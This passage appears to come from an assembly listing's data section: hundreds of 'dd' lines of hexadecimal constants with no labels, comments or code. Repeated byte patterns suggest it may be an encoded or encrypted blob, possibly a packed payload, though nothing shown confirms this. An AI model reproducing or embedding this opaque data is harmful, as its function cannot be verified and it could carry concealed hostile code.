836D0E64h, 301ECE7Ch, 49A355BFh, 2B761B29h dd 0A72FCEDFh, 2C1EEAD4h, 0B24D7BFCh, 2AD1720Bh, 3ED473A3h dd 4BDBDBBBh, 291301BBh, 0D56B8D22h, 0D1BF554Dh, 47A28927h dd 5DF82BD4h, 1FA67973h, 129A5A13h, 5864E7F7h, 61CDF837h dd 0F0789B85h, 9A7462F8h, 0B5850D69h, 801144EDh, 7693BACh dd 12B38681h, 4D3AC26Bh, 768EE5Fh, 0D0663981h, 76971E2h dd 48E9BC81h, 6078C4B2h, 6C3F7F06h, 507D26D6h, 8B750EB5h dd 26BB5A8Ah, 0E2B84F7Fh, 32C83A35h, 0F4DD5E8Dh, 0AC00001Ah dd 0AE55EA7Bh, 0A74EE382h, 0A249DE79h, 9E45DA73h, 0AA45DA6Bh dd 11A4D792h, 0DA8D57Ch, 49FD178h, 0FD98C86Fh, 3F2D9B68h dd 4399A5CEh, 2C300219h, 0B0DEA1FCh, 0C8BD4868h, 8C0E9127h dd 448CECC1h, 0F05548ECh, 9264C487h, 5EE68FA8h, 58E2D066h dd 9347A281h, 66962BC0h, 0CA6058E0h, 0B158F321h, 76262E18h dd 56F11DC6h, 9C611182h, 9F895C43h, 9B67AF59h, 1976A41h dd 56F26351h, 3363D95h, 0AE17EA72h, 284F31EFh, 0B3AC961Ah dd 46C0B7A7h, 554DD57Ch, 0B0210FBFh, 0FB75E410h, 48363E28h dd 73E30B6Eh, 62D3C189h, 0AD6FDD0Bh, 49239DAh, 8CCC0A81h dd 0FBE5243Dh, 0C25850D8h, 0DC8C88D4h, 0E67C4F6Dh, 0E57A0D3Dh dd 0A1770E3Eh, 23A66EE4h, 1C961746h, 0D400001Ah, 0D67D12A3h dd 0CF760BAAh, 0CA7106A1h, 0C66D029Bh, 0D26D0293h, 39CCFFBAh dd 35D0FDA4h, 2CC7F9A0h, 25C0F097h, 6755C390h, 4399A3F6h dd 2C582A41h, 19C269FCh, 15039991h, 47A2E0EBh, 0A93ED3A6h dd 7E76FE62h, 0C750FAE8h, 380B419Bh, 2E8AA5B1h, 8008D12Dh dd 2A04F288h, 459EEBF8h, 91BEB5AAh, 9031C501h, 0C0B840E9h dd 0A2D17A2Ah, 0ABD96007h, 2FD06910h, 2BB3FF45h, 0A77A98E5h dd 9D386811h, 7DD75A08h, 59BBF188h, 48787963h, 0D324D7ADh dd 679648AFh, 1982E6h, 6C093A00h, 690430D7h, 64FF2DD4h dd 60F928CFh, 60F124CBh, 5D1830CBh, 5B02972Ah, 53FA8F2Eh dd 4AF18621h, 19E67B1Ah, 0A44CBDABh, 80974399h, 69FC2CAEh dd 999119C2h, 0F33F1503h, 875A47A2h, 16AA5DF2h, 1200968Eh dd 419BEA68h, 0BDC95023h, 0B25744FAh, 72080088h, 2463D4C2h dd 0DBAE4053h, 21FBE9F1h, 3C3E521Fh, 5AC4B7Bh, 8535CB6Ch dd 4C1F2697h, 9E376A3Ah, 3D65EF7h, 0CF570019h, 689841D7h dd 15E9105h, 12B3316Bh, 0E6322028h, 9F384BE6h, 1FFA6CEFh dd 8DDE215Ah, 455B48B9h, 0D6C09334h, 0CA7309DCh, 0BF66FB9Ah dd 5722F88Fh, 6BE9356Fh, 18C9BB3Ch, 50810000h, 4D7920B5h dd 48761DB2h, 427118ADh, 386B12A7h, 556D089Dh, 39CE679Ah dd 33C86592h, 32C75A8Ch, 27BC5B8Bh, 8DFEEC5Ah, 0D84399A3h dd 7C25EFC1h, 740DB44Dh, 0BE59898Ah, 0F9E66E17h, 0A3F29A0Bh dd 0A912E549h, 52AA56A0h, 871DBEDEh, 0A2B14399h, 0F68B5E47h dd 9D259B61h, 77210FA5h, 32419B88h, 770B7C6Ah, 83563D95h dd 74A34CE2h, 7785F6E4h, 0FDD03D95h, 0B31CB55Ch, 24A30F43h dd 1710FA95h, 0CCAD5D0Bh, 7F77FFCFh, 721FBE9h, 693CA7CBh dd 0C43523D3h, 0FA3C507h, 9039523Ch, 8C7A1008h, 0A1C3FE40h dd 0F59E3407h, 0F69D32C5h, 92592FC6h, 28578DDDh, 180D78F9h dd 94C50000h, 99C56C01h, 94C269FEh, 8EBD64F9h, 84B75EF3h dd 0A9C15CF1h, 952ABBEEh, 8F24C1EEh, 861BB6E8h, 8318AFDFh dd 0E95A48B6h, 344399A1h, 0FC2C4B1Dh, 0F72AD369h, 3A43D70h dd 0CF570019h, 955341D7h, 40479E3Ah, 7E27D76Dh, 7912B94Ch dd 0E76C7F10h, 1E08EA8Eh, 0C55AED1Dh, 9999F8D9h, 7F73FA43h dd 741343EAh, 57852EDEh, 9977E8BCh, 0FAC24399h, 99999B0Ch dd 7213E643h, 30B88188h, 34A59343h, 7F439999h, 9967D8ACh dd 0F1B24399h, 0EA832AC5h, 6212A849h, 4BF28DB9h, 0C482C8B2h dd 6F4193E0h, 315D069Ch, 9203F1A1h, 0DD3D8F50h, 50C5360Ah dd 3D103D8Fh, 3460079Ch, 36DD78ABh, 0A819079Dh, 0F33D8F50h dd 51D87F20h, 0DDB08621h, 0EDF07F5Ah, 17353DBEh, 0BCED0000h dd 0C1ED9429h, 0BCEA9126h, 0B6E58C21h, 0ACDF861Bh, 0D1E98419h dd 0BD52E316h, 0B74CE916h, 0AE43DE10h, 0AB40D707h, 118270DEh dd 5C4399A1h, 820A7345h, 9B44F48Ah, 912AD16Ch, 39A361A7h dd 7B4E479Eh, 8B0C3CE5h dd 7D16BD58h, 0F77E47DCh, 227F6D03h, 4D4399A9h, 16AFDC85h dd 99A9D142h, 0A8491C43h, 97CA7301h, 856E2136h, 0C3644FAAh dd 5399831Ch, 4399CDE5h, 30E12F12h, 16BD5887h, 9B3A937Dh dd 411FB8E1h, 6Dh, 8F830AA5h, 0F5C676F9h, 0FB0913AAh, 0B61B0911h dd 0F149A376h, 0B1DF881Eh, 76C23321h, 3A0D49A3h, 6F59F299h dd 761D8A56h, 0BA4A49A3h, 90031E37h, 0EAD4676Ch, 963F818Fh dd 4419AED4h, 2Dh, 0DEA225A8h, 8A596A21h, 1785CBB5h, 3949A2FFh dd 3523B9B1h, 47A210D7h, 0E55644F4h, 30439BDFh, 0A679735Dh dd 9D386710h, 6C735DF6h, 877525FAh, 49A3F216h, 0F1F46553h dd 6C3F49A3h, 42711E4h, 0D263967Ch, 3BAD9B31h, 8647A2D0h dd 55850CB3h, 6910A1D4h, 0F0992FD0h, 0E98229C4h, 0E9902D5Ah dd 0B15F6650h, 983FDA08h, 0E41415FFh, 0CF38BB51h, 0B628373Bh dd 0DC637C66h, 0AD7118A9h, 0F2220C1Ah, 0E717BE53h, 7800A950h dd 232C9D8Bh, 0A477439Ch, 0CFBD6D03h, 439C235Eh, 233CAD9Bh dd 0B487439Ch, 576642Ch, 50439C23h, 0EAF2DC7Dh, 9B1F8AFCh dd 6C02D541h, 0EF897C3h, 95306007h, 789622EEh, 0A3D635C2h dd 0BC5DF824h, 0D7608E15h, 0CA7112A5h, 0C08165Fh, 0C97D0040h dd 30FDC971h, 6106B55h, 0B84DE818h, 0FB6C5A0Ah, 46C55E5Dh dd 58888973h, 0F7A427BDh, 0C4A15704h, 0BF60A40Dh, 318301F0h dd 78A72E47h, 75103FE8h, 5E0230A1h, 8DBA7BC5h, 18AE4FF0h dd 0EF0E7F95h, 887243C4h, 6DBB046Fh, 56E313BCh, 7F19223h dd 0AA3FD606h, 8D34D303h, 0EFE57CFFh, 0FF0E9765h, 726AF215h dd 680733DCh, 1E88767Eh, 4BC35D7Bh, 2CD372A2h, 7B3FB09Eh dd 0B78ABF57h, 71322C16h, 0A001A843h, 766BDBEBh, 0E1771895h dd 572682F3h, 59FACDBFh, 65ED1DC4h, 57260677h, 0F0B651BFh dd 339A603Fh, 32C8690Ah, 48239482h, 6A8DBF57h, 445C0CDFh dd 7F693CC4h, 13B2DF66h, 31B2E56Ch, 21C86904h, 0B4E36C9Ah dd 61D17819h, 501C1826h, 95C573BDh, 96C66D02h, 27AF58FFh dd 0D3740F41h, 40814F3Dh, 794CBD56h, 7A0D3DE4h, 209A07D3h dd 0DF5C950h, 0FD63898Ah, 0C8B26E68h, 4575A36Dh, 54991CB2h dd 9C33F607h, 98B5D13h, 55F6C41Ch, 8BBD646Bh, 97CA51F8h dd 40A657FEh, 24CB6A97h, 0F846A18Bh, 0F4891C4Eh, 0D46F9D46h dd 1CB7E9EAh, 26BFEE75h, 1E28BB7Fh, 0CE63FE30h, 0CC62F527h dd 6A54F323h, 2820A851h, 38800F92h, 0F1D3A5E6h, 9F11FF07h dd 0DCA74F87h, 87CD3E2Ch, 4518A349h, 0E78E615Bh, 3BE5337Ch dd 32D96E09h, 35BC6302h, 1ACB7205h, 3969D761h, 0CB0A099Eh dd 11C0092Ah, 2Fh, 4E7C2575h, 8A9CBCEBh, 7314933Ch, 77A433CCh dd 0B49E37DEh, 3FE681B3h, 0FC280E96h, 8021BA61h, 0F856FCEAh dd 3E1147A1h, 2F08A9h, 2C7E0000h, 17C067FAh, 5801978Fh dd 69279029h, 0C878DDF9h, 0C2B0B8A2h, 47A21064h, 7D3EF48Fh dd 0D16BA52Eh, 0FCEA9A30h, 439CD88Bh, 121903D6h, 497C25A0h dd 1DDFCEB8h, 89321FA7h, 811AC15Ch, 0A3F23CADh, 0D1BF8749h dd 49A3F260h, 9637D8ABh, 7BA75000h, 0F29708DCh, 0FE249A3h dd 90A3C0A6h, 0CEB82D88h, 652ED8C6h, 2BDB47A2h, 9C54CC3Dh dd 5A441743h, 39AA9860h, 84439C54h, 7D8910B1h, 0AF4F5D0Ch dd 18AEA62Eh, 0D5B6E568h, 0C9664918h, 0E95484F5h, 12FCCF4Eh dd 83B15A0Ah, 7DE041E8h, 0BEF3DD5Ch, 0AD117A1Bh, 0E833CDC3h dd 512B715Bh, 6C4CE8D4h, 0C149F299h, 0F94533C9h, 0C046E1CBh dd 7EAE57EDh, 7BAB52E7h, 0D295D14h, 0DA7B2C93h, 0A368D304h dd 1FA0CFFAh, 1307h, 62F78EBFh, 5BF08FBBh, 56EB86B4h, 50E580AFh dd 46DB76A9h, 0A5D893ABh, 0A3D0770Ch, 9CCE750Ah, 9DCD7409h dd 3AA8750Ah, 999DDB4Ch, 3D0F2643h, 0A3F176E7h, 7A30B349h dd 56C7B5F1h, 0A149A38Ah, 26DC65CEh, 0A1294C36h, 9B2513A9h dd 0C847A291h, 0AD54F31Fh, 5D302A14h, 6BEC1EC7h, 67FC9D38h dd 4CF38EC0h, 0E11495C5h, 6F10A950h, 6C793099h, 5ADB0AFAh dd 128Fh, 0EA7F1647h, 0E3781743h, 0DE730E3Ch, 0D86D0837h dd 0CE63FE31h, 2D601B33h, 2B58FF94h, 2456FD92h, 2555FC91h dd 0C230FD92h, 999D63D4h, 0C597AE43h, 6D9C820Ah, 781FB6E6h dd 79D3EDFh, 0A2E18F19h, 1E0CBC47h, 439CC1ADh, 413B25F8h dd 32FD86Eh, 0FC28CF64h, 1273F99h, 0F38C33CEh, 6EF4B48Ah dd 6708A93Ch, 5FFA28D1h, 1C351FB8h, 2BD26595h, 78A977C0h dd 0A469DAC8h, 0E1B4439Ch, 2BCAF6F7h, 0AC100196h, 14972D21h dd 29BC538Ch, 0B2E27151h, 0E9D36C13h, 62FD29F0h, 51842DBBh dd 968019C0h, 9C4AE250h, 35033C43h, 0AB40DF0Bh, 0A73DD804h dd 4D37CEFEh, 0B038B34h, 91ED8775h, 0C7884196h, 0BB54FB9Ah dd 51D4841Ah, 2590D1E6h, 0B92A18BCh, 43D92D1h, 0A5A69031h dd 0A64DE275h, 8F38DF76h, 0C9790F07h, 0C4FD4446h, 0E2CC8184h dd 8C469F9Ch, 1E0CBC3Bh, 3787B6ADh, 413B25F8h, 0FF2FD86Eh dd 0FC2CD368h, 9119C269h, 8C800399h, 38800C62h, 0B89668E0h dd 0E66DB84Fh, 5806F4FCh, 1535861Bh, 0C2359692h, 0CA59A205h dd 1711FB9Ah, 0FB716E44h, 1A49E448h, 115699h, 48DD0E00h dd 45E00CB3h, 40DB09B0h, 3CD504ABh, 34CD00A7h, 31EC049Fh dd 27CE63FEh, 1FC65BFAh, 1EC55AEDh, 0F5C257EEh, 9B289987h dd 5C734399h, 0F27DE78Ah, 7FB149A3h, 0FE864FE4h, 5246CE3Eh dd 8B2CF804h, 2D1207F5h, 5A2D479Eh, 64ED1BC4h, 49BAA838h dd 9443999Ch, 0EA7F20C1h, 0B401D478h, 5BDB1A2Eh, 3F000001h dd 16877525h, 6149A3F2h, 0FC81A48Eh, 3725AA04h, 49A3F2C9h dd 25217BD6h, 0C43D2B1h, 0F389810Ah, 0D9801D4Ah, 0AA3FC278h dd 9F4096D0h, 4D4DE9B5h, 0F5DF72A4h, 0C37F0A29h, 0DA99722Dh dd 95C554C8h, 21C25B02h, 0D4A234C7h, 1CAEB411h, 24EBh dd 810A4F00h, 37252F89h, 49A3F2C9h, 0ED5E4C14h, 3849A3F1h dd 256AC465h, 63FE2CB1h, 32E4F609h, 41h, 89810AA8h, 0C937252Fh dd 0D649A3F2h, 4735E57Bh, 49A3F2D6h, 50EEC840h, 5AE215B2h dd 2ACB6699h, 7C257440h, 63D4C24Ah, 0AE49A3F2h, 0C933ADBh dd 13A243DEh, 7A047E6h, 2CA1151Dh, 0F60963FEh, 0B411D4E4h dd 27D71CAEh, 0A3F2C839h, 56401346h, 4162h, 7F0AC600h dd 1E4CF58Bh, 5943DC83h, 8775258Dh, 49A3F216h, 9CA48E61h dd 0DD4E3CECh, 2849A3F2h, 0B7256B55h, 249A3F2h, 0B125D52Fh dd 0B65002Ch, 16877525h, 6149A3F2h, 5B6DA48Eh, 4B32h, 7C25A800h dd 0ACCFB94Ch, 0C16A6521h, 4A07E2DCh, 0D39013A9h, 0B2D57309h dd 25D39F89h, 66D7C575h, 0B149A3F2h, 40AEF4DEh, 4D49A3F2h dd 0B12598F2h, 16877525h, 6149A3F2h, 77A3A48Eh, 7C257ED8h dd 760FB64Fh, 5E07558Ch, 0E3AF992Ch, 0FFFE9C32h, 820AA8FFh dd 4806F48Ah, 0E5479E3Ah, 0A6972262h, 3C26C2EAh, 30D96F42h dd 0BE4B7700h, 0B158F98Ch, 19E27718h, 4ABBA992h, 954399D2h dd 9D8B21C2h, 4399D22Ch, 31FDA477h, 4399D2C2h, 9138D502h dd 16CCB630h, 0CB5AA3DEh, 0E858FF9Eh, 0FDA363ADh, 0BCA0C1Ah dd 0D11FB8D9h, 4Fh, 0F27AE735h, 0EB749A3h, 179E45E0h, 0C2AC4DE8h dd 61F691C1h, 0A3F20775h, 0BBA12949h, 0B049F08Fh, 0B758F321h dd 12837121h, 4F49A3F2h, 0A3F1F061h, 0E0683B49h, 2D1B230Dh dd 47A2F70Bh, 0A04EE3B6h, 0E40C9F7h, 9233CC73h, 0A9ADA8h dd 25230000h, 0C0EE4F7Ch, 0D4F4A0AFh, 3BD47B1Ch, 0AEA62E51h dd 0E9542A18h, 9C6F47A2h, 5FAE8306h, 0C2485298h, 0F527D0D8h dd 9C1FCD62h, 85A127C1h, 0A2A38DCAh, 852ED570h, 816F05FDh dd 4196F7AFh, 6811A77Ah, 5F069B36h, 4AF39A2Dh, 0C60302C2h dd 0EF96315Dh, 0CC0ED56h, 4533C96Ah, 3B8CB85Bh, 842DC396h dd 7E2CC154h, 240EA9D5h, 7E54F323h, 0EE704277h, 74830433h dd 2C00000Eh, 2ED56AFBh, 27CE6302h, 22C95EF9h, 1EC55AF3h dd 2AC55AEBh, 91245712h, 8D2855FCh, 841F51F8h, 7D1848EFh dd 0BFAD1BE8h, 4399984Eh, 2CB08299h, 3BC269FCh, 14C56C0Bh dd 3363CD5Bh, 0D500FF94h, 719AEBBh, 3Eh, 8A820A6Bh, 0ED2C06F4h dd 744747A2h, 7F1646CDh, 741343EAh, 0A49C24CDh, 0FF705E0Eh dd 3C439CECh, 9CEDDD4Eh, 0CD552843h, 1A0810FAh, 419BF044h dd 49F78C5Fh, 31D871A0h, 40DB0998h, 2C8A56h, 0F926CF65h dd 321CB55Ch, 0BD58842Bh, 604AA427h, 620BAE0Ah, 28D15F78h dd 1DB65DF8h, 7D89ED33h, 87B949A3h, 68E57ECh, 1FC8780Eh dd 2A705AEDh, 479DC578h, 31DA7043h, 0AD487A03h, 700EE044h dd 0FE9F6B6Fh, 1D4F769h, 0DB1A2EB4h, 18Eh, 8D850A3Fh, 0C9372533h dd 649A3F2h, 0EC932E5Dh, 0D6316953h, 4F7C257Ch, 50C4CCB6h dd 0A0C43D2h, 252F8981h, 0D5A971A2h, 7A645E2Ah, 7F0AD69Ah dd 2ED5709Dh, 0B55EF495h, 0EA83EC87h, 0A4276CBAh, 3499654Fh dd 0B1A225A2h, 102C9534h, 7D9203F1h, 0ADD49A3h, 0BF267F69h dd 1D1CAF28h, 46h, 9B810A81h, 4937CD68h, 49A3F2D8h, 55AF5023h dd 0F2C93725h, 411449A3h, 25B125E7h, 0C465F275h, 7F650F51h dd 0A3543AABh, 0C8B28549h, 68FE99C7h, 0BF590BFh, 25E4F63Fh dd 0FB347A2h, 0AE98D7AEh, 3BB3h, 810A2900h, 37252F89h dd 49A3F2C9h, 25217BD6h, 0FB64F7Ch, 10848C76h, 0C7507C25h dd 0B9600194h, 0C8639120h, 9D9E8821h, 953ED46Fh, 17B6E263h dd 8F36D770h, 9E3FDA08h, 0E4F6E8B4h, 0AEB411D4h, 6DEB1Ch dd 0A4F0000h, 25318B7Fh, 0A3F2C937h, 2D5D0649h, 705AF39Ah dd 8A0DA376h, 0CBAA359Eh, 8D59431Eh, 0A6CFA225h, 113A6577h dd 11B85582h, 0D6868E78h, 8BC6EB53h, 0A72F2D4h, 6ECD3626h dd 84F5E303h, 0CF49A3B1h, 0A5715BFCh, 0B65002Ch, 0B5507C25h dd 2192800Eh, 6C49A3F2h, 0D70EF899h, 2BA225C5h, 663E2B87h dd 730E41D0h, 328E89h, 0A040000h, 25318B7Fh, 0A3F2C937h dd 0E57BD649h, 5B890A3Ch, 69351FC0h, 2CB125h, 0F2118270h dd 895C49A3h, 0A8F68EE8h, 5C6CD3FFh, 0E90F3C8Eh, 0CCB657h dd 0FFFE6932h, 820AA8FFh, 4806F48Ah, 0E5479E3Ah, 7038E862h dd 957F3BCFh, 349A009Bh, 4B6F0302h, 3B6B14AAh, 2B5D069Ch dd 0DEA7AE98h, 0DFCD6357h, 4399226Eh, 733FE6B9h, 43992204h dd 0FAFC4A2Dh, 1FB98BDBh, 2101h, 7AE76500h, 0BE49A3F2h dd 0C162F78Eh, 0F7h, 106E78FBh, 0EA56B7DEh, 0A3248BFCh dd 6203D649h, 820AAC78h, 571F48Ah, 388F65FCh, 0B152ED19h dd 660FBFC7h, 6FB59F36h, 47A2B8ADh, 3FEF8558h, 9830A18Fh dd 0A87B439Ch, 2C11AA3Fh, 0D3BDF495h, 6F05A0D2h, 0A32DC3ECh dd 8876FCA3h, 439CAA17h, 85EE8F62h, 52DA6B78h, 0CDD4BEA9h dd 0BA61F426h, 0B756832Ch, 6A8D7710h, 0A454EAE2h, 9D2CCBFBh dd 9730D76Ah, 9EA167ADh, 895C4196h, 0B5184AF3h, 0F23765D7h dd 0E57B1CCCh, 0BAD64735h, 4E213D92h, 84B65D64h, 19A14AF1h dd 0B39D8B21h, 0EE3B8CF7h, 0ACDC851Bh, 0BB5CFB2Bh, 0CA4F7F26h dd 1492399Ch, 9802E0F4h, 0A13C68F7h, 0EAC061FAh, 0EE7082C1h dd 0F441C2F1h, 0AC00000Ah, 0AE55EA7Bh, 0A74EE382h, 0A249DE79h dd 9E45DA73h, 0AA45DA6Bh, 11A4D792h, 0DA8D57Ch, 49FD178h dd 0FD98C86Fh, 3F2D9B68h, 439995CEh, 2C300219h, 0AF4E7BFCh dd 0B0E0670Eh, 0A3D67F15h, 0F2BE2F1Dh, 360949A3h, 0E192AB95h dd 80291E28h, 8412B954h, 0A3F22596h, 0FC9D7049h, 46E11112h dd 40D707B0h, 85504F56h, 5719AEBCh, 47h, 0C2820ABBh, 695BBAFBh dd 6E04A55Dh, 0D13E48EBh, 0A33E72E3h, 81EABD49h, 0EBD59A8Dh dd 1703F5E3h, 7B4E47A2h, 8A1D4DD4h, 871E4EF5h, 0B7AF37E0h dd 7713321h, 491C419Bh, 685606B4h, 3D94E5F7h, 0B1E06F42h dd 2C622E18h, 0E4D06500h, 49A3F27Ah, 54E97CAEh, 750B038Bh dd 9E39EA87h, 2CC29547h, 13BA5583h, 0DF88907Ah, 0F8116B1h dd 2EB401D4h, 0F21EC71Ah, 8413AC53h, 811AC154h, 14DA397h dd 0A070000h, 25338D85h, 0FB64F7Ch, 96848C76h, 49A3F228h dd 27BAEC35h, 0EC46E780h, 0DC81A225h, 65C600C5h, 0A3330677h dd 0DD7E5149h, 0D277EBF3h, 784DD043h, 0F105DA47h, 0AD39F89h dd 4D2F8981h, 8B7F0A89h, 25A23431h, 10B74A7Ch, 0B1348D77h dd 4B1CAEB4h, 40h, 4D7C25AFh, 0DE740DB4h, 0A3F27FF0h, 0DF7CA49h dd 0F6961EAh, 0F2C93725h, 411449A3h, 497C25E7h, 8E7811B8h dd 0FE2C1286h, 0E24D649Bh, 0AD4ECFC2h, 507C2553h, 8B750EB5h dd 38324254h, 0A8000000h, 0B8497C25h, 0BAE97811h, 0F5DF781Fh dd 0F75149D2h, 0F2C93725h, 5D0649A3h, 72AA942Fh, 0A5D88117h dd 2556220Ch, 0CBB5507Ch, 0FE2C4FC3h, 0F824CD63h, 331DB65Dh dd 0D4E4F667h, 1CAEB411h, 49EBh, 7F0A4F00h, 7525318Bh dd 0C0C3D8F2h, 3F726E30h, 0D51B05A6h, 49A35B67h, 9949DFB2h dd 0A35B3AABh, 0C8B28549h, 2CB125FCh, 11827000h, 5C49A3F2h dd 0A252E889h, 0A3F243B4h, 0D1BB8E49h, 25E4F605h, 0CCB64F7Ch dd 28D1h, 7F0A4700h, 3725318Bh, 49A3F2C9h, 0CC98B3D6h dd 0FABA40FEh, 0E98A2BCAh, 2CB1258Fh, 0F60B6500h, 47D0FFA8h dd 0F2DC7D18h, 0FE9E3226h, 25A8FFFFh, 0F2168775h, 996149A3h dd 0A3F23AABh, 11B28549h, 847C0427h, 67953EEEh, 7A0D3DCCh dd 3A8C4A90h, 6437479Eh, 67DB4BCEh, 6BFA236Bh, 0A0D07981h dd 0AF50E717h, 0CEBC6C1Ah, 43997F5Dh, 1846D5A8h, 533DD67Dh dd 1FB5A930h, 2F33EC6Fh, 55CCF113h, 6909E869h, 1E08A95Bh dd 99CD67D8h, 38DFB243h, 99CCFD6Ch, 0F5432643h, 0B8E0E2F3h dd 0F3BE41Fh, 4630C970h, 1052h, 7AE7B600h, 0BE49A3F2h dd 0C162F78Eh, 0C9h, 8A820A37h, 0EC1C06F4h, 845747A2h dd 921345EEh, 8720C766h, 78AA51E6h, 58D36DDh, 0B859EC1Fh dd 346A3422h, 52254197h, 46E113BCh, 4F112DB0h, 0A8BF7671h dd 8609B7BEh, 0F15F9AEFh, 32331D60h, 15BE6500h, 0F374A78Dh dd 0E38425C0h, 0DC75A44Dh, 0AAB29C35h, 8C5DD2BCh, 0A43A0D3Bh dd 0DD9506F4h, 0E4D23787h, 3787DD73h, 9063EBBEh, 0C5F59EA6h dd 43C0836Ah, 90267FF8h, 86F931A2h, 8A97C37h, 11F0EF72h dd 99C8D56h, 4171181Fh, 3931D0A6h, 9AC9EE77h, 79619h, 881D4E00h dd 85204CF3h, 801B49F0h, 7C1544EBh, 740D40E7h, 712C44DFh dd 670EA33Eh, 5F069B3Ah, 5E059A2Dh, 3502972Eh, 9268D9C7h dd 9CB34399h, 69FC2CCAh, 6C0B3BC2h, 68FB2DD6h, 253E28C1h dd 0C36DBB74h, 605FF493h, 19AEC075h, 5267h, 820ACB00h dd 0F236A795h, 4E7A49A3h, 0B35427AFh, 0F7F92F1Dh, 0C19447A2h dd 0CC53822Bh, 0C8610899h, 7EE78027h, 0E9056481h, 2E473191h dd 9102F0A0h, 0DC439C07h, 6CD91F09h, 99439C07h, 6F6668B6h dd 591FB6ABh, 0B4ABBA9h, 0C295439Ch, 4EE4D8h, 0A480000h dd 0D46D9C82h dd 44ED9D33h, 78D98011h, 0A3458F65h, 604AEBE4h, 0A27C481Ah dd 5D820547h, 0D749E9A4h, 12E5DFC9h, 21B4E46Bh, 22B5E58Ch dd 524AD27Bh, 9AE4CEBCh, 6111419Bh, 959A0273h, 7F16463Dh dd 0F6B73FD8h, 0A48E2FC6h, 0D042D7AAh, 0EF9FBA3Eh, 0A3F29001h dd 1E08DB49h, 0E57B73FBh, 0D62E7262h, 18024996h, 3E782210h dd 603347A2h, 53EE21CAh, 302913ACh, 0F08BB962h, 72B0C006h dd 46CE838Ah, 0F0CAB84Eh, 0B8124DCh, 0CE1FA238h, 0D76990ECh dd 48D6EFD9h, 0A639AA98h, 0B1847D1Eh, 361CA4C7h, 1B8C7A06h dd 667D1EA6h, 0B24BF293h, 22CB7B11h, 15AE55F0h, 1EA6D041h dd 0B9481B7Dh, 0B24BF28Dh, 86D2C0C8h, 4D7B1D9Dh, 0B3BE47Ah dd 30D76Ch, 6D118270h, 895C7717h, 7DFD12E8h, 0D6052EE7h dd 60E55h, 95C600h, 0FD98C46Bh, 0F893C168h, 0F48DBC63h dd 0EC85B85Fh, 0E9A4BC57h, 0DF861BB6h, 0D77E13B2h, 0D67D12A5h dd 0AD7A0FA6h, 90E0513Fh, 142B4399h, 74FC2C42h, 0A3F21586h dd 0EC8D6049h, 90BE45h, 0A3F2A112h, 7FF0DE49h, 0CA49A3F2h dd 0FB9C6FF7h, 1D159D66h, 39CF9987h, 0B78A479Eh, 0C05B8910h dd 61B1A3EAh, 5FE00FFAh, 5A3h, 0F68B2A5Bh, 0EF84234Fh dd 0EA7F1A48h, 0E4791443h, 0E2770A3Dh, 41742F47h, 47741BB0h dd 407219AEh, 396910A5h, 0CE3C099Eh, 99906FE0h, 0D1A3BA43h dd 0A795820Ah, 49A3F236h, 0F2148573h, 8C5F49A3h, 0FA903104h dd 9E3A460Ch, 174AF347h, 0C79A947Eh, 0D06B9920h, 61B189FAh dd 39BAE9FAh, 543h, 962BCAFBh, 8F24C3EFh, 8A1FBAE8h, 8419B4E3h dd 8217AADDh, 0E114CFE7h, 0E714BB50h, 0E012B94Eh, 0D909B045h dd 6EDCA93Eh, 998F0F80h, 71435A43h, 0FD05A225h, 2534A851h dd 0A3B1C637h, 9D3E1149h, 100890B3h, 0F8BA8C7Ah, 0B285479Dh dd 0BB56840Bh, 6172ACE5h, 66E716FAh, 4E7h, 42D76E9Fh, 3BD06F9Bh dd 36CB6694h, 30C5608Fh, 26BB5689h, 85B8738Bh, 83B057ECh dd 7CAE55EAh, 7DAD54E9h, 1A8855EAh, 998FBB2Ch, 1DEF0643h dd 0C269FC2Ch, 0EE98B134h, 1D8F4302h, 15AE55F0h, 59898A74h dd 0C05317BEh, 0FD98C876h, 1C0ABA68h, 49A329ABh, 383923F6h dd 0B6517F08h, 2ED5760Fh, 0A328F462h, 0B154E49h, 0C55AED1Dh dd 0E67C74FCh, 9D715EF8h, 923BEB47h, 8821C865h, 98E043B4h dd 0D1BB8E43h, 51E416D7h, 41711AB0h, 3A6A11A6h, 0B666F49Bh dd 98E057C8h, 0E5CFA243h, 0AC423AC2h, 9327C1BEh, 0A124EC41h dd 3BE0E476h, 1E8F63D7h, 693D8E44h, 0B65FF596h, 0B35AEF86h dd 31C4F683h, 0A950F18Ah, 0EA807800h, 8D434EFCh, 7046193Bh dd 0EE774803h, 0C0788B7h, 0C4000004h, 0C66D0293h, 0BF66FB9Ah dd 0BA61F691h, 0B65DF28Bh, 0C25DF283h, 29BCEFAAh, 25C0ED94h dd 1CB7E990h, 15B0E087h, 5745B380h, 43998DE6h, 2C481A31h dd 3BC269FCh, 2DD66C0Bh, 79806AFDh, 0BC2D1BCBh, 749A3F2h dd 9F274A34h, 5CF28DB9h, 0A3F1FD6Eh, 0D4754849h, 8A6503Eh dd 0A06147A3h, 942DD46Dh, 13804CF3h, 40439CD8h, 0C80DD35Dh dd 0FE1FB5D5h, 0AB992955h, 439CE03Ah, 2711B285h, 5233h dd 86B25B00h, 0BDA740E7h, 0C2820AF1h, 5B808C18h, 4EE915EAh dd 0C6760CADh, 809A1643h, 6F02920h, 0A2A53EC0h, 966947h dd 5CA5FA7Dh, 2BBAFC72h, 5A735DF8h, 9CA9218Eh, 0DD6B4E43h dd 0B608BA1Bh, 0E3201Fh, 0C5480000h, 80B24D76h, 6ABA7CE5h dd 2CAC7862h, 3BC269FCh, 54D76D08h, 530A046Ah, 45E00D1Ah dd 7A64059Eh, 0C750D361h, 46A32F7Bh, 0B0E0E1CBh, 30E06E15h dd 0A3B3D142h, 0BA491C49h, 0AD46ED88h, 592C2C3h, 0A9F40D3h dd 0EA85B35Ch, 2614AA43h, 49A3B3B5h, 0FD432D00h, 49A3AFD1h dd 31C66191h, 25BB5A8Ah, 0AF168775h, 8E6149A3h, 5AE28BA4h dd 0F0DECC62h, 3B47A28Fh, 820AD368h, 5644F48Ah, 439C7FE5h dd 6B735D30h, 94E0ED7Dh, 0CB613441h, 0C156EF22h, 784EE71Ah dd 0F07AD92Dh, 0A41D9ECDh, 5C000002h, 5E059A2Bh, 57FE9332h dd 52F98E29h, 4EF58A23h, 5AF58A1Bh, 0C1548742h, 0BD58852Ch dd 0B44F8128h, 0AD48781Fh, 0EFDD4B18h, 43998D7Eh, 2CE0B2C9h dd 2CD368F9h, 26D469FCh, 1B743BA3h, 7E681AA6h, 8A820AB2h dd 18406F4h, 14AF47A3h, 0D78F2DDFh, 0F79E3F4Ah, 0F590C069h dd 85CBB54Eh, 439C3818h, 12D46245h, 1FB679C3h, 0B519h dd 